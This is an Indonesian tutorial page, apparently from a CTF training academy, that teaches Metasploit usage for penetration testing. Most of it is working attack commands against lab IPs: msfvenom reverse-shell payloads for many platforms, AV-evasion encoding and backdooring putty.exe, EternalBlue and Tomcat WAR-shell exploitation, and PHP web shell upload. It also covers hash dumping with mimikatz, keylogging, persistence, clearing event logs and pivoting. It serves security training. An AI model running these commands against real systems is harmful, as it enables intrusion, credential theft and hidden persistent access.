TDCTF Academy Logo TDCTF ACADEMY

Metasploit: Framework Eksploitasi dan Post-Exploitation

Pengertian Metasploit

Metasploit Framework adalah platform pengembangan dan eksekusi exploit yang paling terkenal di dunia keamanan siber. Diciptakan oleh H. D. Moore pada tahun 2003 dan sekarang dimiliki oleh Rapid7, Metasploit menyediakan infrastruktur lengkap untuk penetration testing - mulai dari information gathering, exploitation, hingga post-exploitation dan privilege escalation.

Metasploit terdiri dari beberapa komponen utama:

  • msfconsole - antarmuka utama (CLI interaktif)
  • msfvenom - payload generator dan encoder
  • msfdb - database management
  • Resource scripts - script otomatisasi untuk msfconsole
  • Module library - ribuan exploit, auxiliary, post, dan payload

Arsitektur Framework

Module Types

Metasploit memiliki enam tipe modul utama:

Tipe Modul Fungsi Contoh
Exploit Mengeksploitasi kerentanan untuk mendapatkan akses exploit/windows/smb/ms17_010_eternalblue
Payload Kode yang dijalankan setelah exploit sukses payload/windows/x64/meterpreter/reverse_tcp
Auxiliary Scanning, fuzzing, DoS - tanpa mendapatkan shell auxiliary/scanner/portscan/tcp
Post Post-exploitation - aktivitas setelah akses didapat post/windows/gather/hashdump
Encoder Mengenkode payload untuk evade deteksi encoder/x64/xor_dynamic
NOP NOP sled generator nop/alpha_mixed

Module Path Convention

Setiap modul memiliki path yang mengikuti format:

<tipe>/<kategori>/<platform>/<nama>

Contoh:

exploit/multi/http/jenkins_script_console
auxiliary/scanner/smb/smb_version
payload/windows/x64/meterpreter/reverse_tcp
post/linux/gather/enum_configs

msfconsole - Pusat Komando

Memulai msfconsole

# Mengaktifkan database (wajib untuk workspace tracking)
sudo systemctl start postgresql
sudo msfdb init

# Memulai msfconsole
msfconsole -q # -q untuk quiet mode (tanpa banner)

Perintah Dasar

# Menampilkan daftar command yang tersedia
help

# Mencari modul berdasarkan keyword
search smb
search eternalblue
search type:exploit platform:linux apache
search cve:2021 name:web

# Menggunakan modul tertentu
use exploit/windows/smb/ms17_010_eternalblue

# Melihat informasi modul
info

# Melihat opsi yang bisa di-set
show options

# Melihat payload yang kompatibel
show payloads

# Melihat target yang didukung
show targets

# Set opsi modul
set RHOSTS 192.168.1.100
set RPORT 445
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# Menjalankan exploit
run
# Atau:
exploit

# Melihat sesi meterpreter yang aktif
sessions -l

# Berinteraksi dengan sesi tertentu
sessions -i 1

Database Integration

Metasploit dapat menyimpan hasil scan dan informasi host ke database lokal:

# Inisialisasi database
msfdb init

# Di dalam msfconsole:

# Menambahkan host manual
hosts -a 192.168.1.100,192.168.1.101

# Melihat daftar host
hosts

# Melihat service yang ditemukan
services

# Menambahkan hasil Nmap langsung
db_nmap -sV -O 192.168.1.0/24

# Mencatat vulnerability
vulns

# Mencatat credentials
creds

# Membuat workspace untuk project terpisah
workspace -a pentest_project
workspace pentest_project

Workspace Management

# Melihat daftar workspace
workspace

# Membuat workspace baru
workspace -a client_alpha

# Berpindah workspace
workspace client_alpha

# Hapus workspace
workspace -d client_alpha

Payload Types

Reverse vs Bind Shell

Aspek Reverse Shell Bind Shell
Inisiatif koneksi Target connect ke attacker Attacker connect ke target
Firewall Lebih mudah - outbound sering diizinkan Sering diblokir inbound firewall
NAT Bisa bermasalah (NAT target) Butuh routing ke target
Contoh reverse_tcp bind_tcp

Staged vs Stageless

  • Staged: Payload kecil dikirim dulu, kemudian download stage lebih besar (stager + stage). Lebih stealthy, ukuran kecil.
  • Stageless: Payload lengkap dikirim langsung. Lebih besar, tetapi lebih stabil.
# Staged - ukuran kecil, download stage kedua
set PAYLOAD windows/meterpreter/reverse_tcp

# Stageless - payload langsung lengkap
set PAYLOAD windows/meterpreter_reverse_tcp
# (perhatikan underscore vs slash - tidak ada / =
# stageless)

Meterpreter

Meterpreter adalah payload interaktif yang menyediakan lingkungan post-exploitation yang sangat powerful:

# Di dalam sesi meterpreter:

# Informasi sistem
sysinfo
getuid
getpid

# Manipulasi file
pwd
ls
cd C:\\Users
download /etc/passwd /tmp/passwd.txt
upload /tmp/backdoor.exe C:\\Windows\\Temp

# Screenshot
screenshot

# Keylogging
keyscan_start
keyscan_dump
keyscan_stop

# Proses
ps
migrate -N explorer.exe
kill 1234

# Privilege escalation
getsystem
# Mencoba berbagai teknik UAC bypass

# Persistence - maintain access
run persistence -X -i 30 -p 4444 -r 192.168.1.50

# Port forwarding
portfwd add -L 0.0.0.0 -l 8080 -p 80 -r 192.168.1.100

# Clear event logs
clearev

Post-Exploitation

Windows Post-Exploitation

# Hash dumping (butuh admin)
use post/windows/gather/hashdump
# Atau di meterpreter:
hashdump

# Kerberos ticket dumping (mimikatz)
load kiwi
kiwi_cmd sekurlsa::logonpasswords
kiwi_cmd lsadump::sam

# Enumeration
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_applications
run post/windows/gather/enum_shares

# Privilege escalation check
run post/multi/recon/local_exploit_suggester

# Persistence
run persistence -X -i 60 -p 443 -r 192.168.1.50
run scheduleme

Linux Post-Exploitation

# Enumeration
run post/linux/gather/enum_configs
run post/linux/gather/enum_system
run post/linux/gather/checkvm

# Dump password hashes
run post/linux/gather/hashdump

# SSH key collection
run post/linux/gather/ssh_creds

# Privilege escalation
run post/multi/recon/local_exploit_suggester
use exploit/linux/local/suid_cbt

Privilege Escalation Automatis

# Suggester modul - scan kerentanan privilege escalation
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

Modul ini akan menampilkan daftar exploit lokal yang mungkin berhasil pada target berdasarkan versi OS.

msfvenom - Payload Generator Mandiri

msfvenom menggantikan msfpayload dan msfencode yang lama. Tool ini dapat membuat payload standalone tanpa perlu msfconsole.

Sintaks Dasar

# Format: msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>

Contoh Payload Generation

# Windows reverse TCP meterpreter (exe)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell (elf)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# ASP reverse shell (Windows IIS)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# JavaScript (Node.js) reverse shell
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.js

# WAR file (Java Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o payload.apk

# macOS reverse shell
msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f macho -o shell.macho

Encoder untuk Anti-Virus Evasion

# List encoder yang tersedia
msfvenom --list encoders

# Encode payload dengan XOR
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x64/xor_dynamic -f exe -o encoded.exe

# Encode multiple times (iterasi)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_x5.exe

# Encode dengan template (inject ke binary legitimate)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x /usr/share/windows-binaries/putty.exe -k -f exe -o backdoor_putty.exe

Catatan: Encoder tradisional (shikata_ga_nai) tidak lagi efektif untuk AV modern - gunakan teknik custom shellcode dan process injection.

Contoh Exploit Nyata

1. Exploit SMB EternalBlue (MS17-010)

EternalBlue adalah exploit yang digunakan dalam serangan WannaCry - mengeksploitasi kerentanan SMBv1 pada Windows.

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set LHOST 192.168.1.50
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > check
# [+] 192.168.1.100:445 - The target is vulnerable.
msf6 > run

# Jika berhasil → sesi meterpreter terbuka:
# meterpreter > sysinfo
# Computer: WIN-7VM
# OS: Windows 7 Professional
# meterpreter > getsystem
# [+] Got system via technique 1

2. Exploit Web Application (Tomcat Manager)

Mengeksploitasi Tomcat Manager dengan credentials default:

msf6 > use exploit/multi/http/tomcat_mgr_deploy
msf6 > set RHOSTS 192.168.1.100
msf6 > set RPORT 8080
msf6 > set USERNAME tomcat
msf6 > set PASSWORD tomcat
msf6 > set PAYLOAD java/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > run

# Atau deploy WAR langsung via curl (tanpa msfconsole):
# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
# curl -u tomcat:tomcat -T shell.war "http://192.168.1.100:8080/manager/text/deploy?path=/shell"

3. Custom Payload untuk PHP Web Shell

# Generate payload PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# Upload ke target (via upload vulnerability atau file manager)
# Kemudian akses: http://target.com/uploads/shell.php

# Di msfconsole, setup listener:
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD php/meterpreter_reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 4444
msf6 > run

4. Pivoting Melalui Target

Setelah mendapatkan akses ke target, gunakan sebagai pivot ke jaringan internal:

# Di sesi meterpreter:
meterpreter > run autoroute -s 10.0.0.0/24
# Tambahkan route internal

# Background sesi
meterpreter > background

# Gunakan exploit untuk target internal melalui sesi ini
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 10.0.0.10
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 5555
msf6 > set SESSION 1 # route melalui sesi meterpreter yang sudah ada
msf6 > run

Resource Scripts - Otomatisasi

Resource script adalah file batch untuk msfconsole:

# Buat file resource (.rc)
cat > /tmp/auto_exploit.rc << 'EOF'
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 445,3389,22,80,443
run

use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
run -j # run sebagai job
EOF

# Jalankan resource script
msfconsole -r /tmp/auto_exploit.rc

Troubleshooting Umum

Handler Tidak Mendapat Koneksi

# 1. Pastikan port listener tidak diblokir firewall lokal
sudo ufw allow 4444/tcp

# 2. Pastikan LHOST terisi IP yang benar (bukan 0.0.0.0)
set LHOST 192.168.1.50

# 3. Coba payload stageless untuk stabilitas
set PAYLOAD windows/x64/meterpreter_reverse_tcp

Meterpreter Sesi Putus

# 1. Migrate ke proses stabil
meterpreter > getpid
meterpreter > ps
meterpreter > migrate PID

# 2. Gunakan reverse_https untuk koneksi lebih stabil
set PAYLOAD windows/meterpreter/reverse_https

Database Error

# Reset database
sudo msfdb reinit

# Cek service postgresql
sudo systemctl status postgresql
sudo systemctl restart postgresql

Kesimpulan

Metasploit Framework adalah tool yang sangat esensial dalam penetration testing. Kemampuan untuk mencari exploit, mengkonfigurasi payload, mengeksekusi, dan melakukan post-exploitation dalam satu platform yang terintegrasi membuatnya sangat efisien. Penguasaan msfconsole, msfvenom, dan berbagai teknik post-exploitation (hash dumping, privilege escalation, pivoting) adalah keterampilan yang wajib dimiliki.

Praktik terbaik: selalu gunakan database untuk melacak target, gunakan workspace untuk memisahkan project, dan biasakan menggunakan check sebelum run untuk mengkonfirmasi kerentanan sebelum melakukan eksploitasi penuh.

PADA HALAMAN INI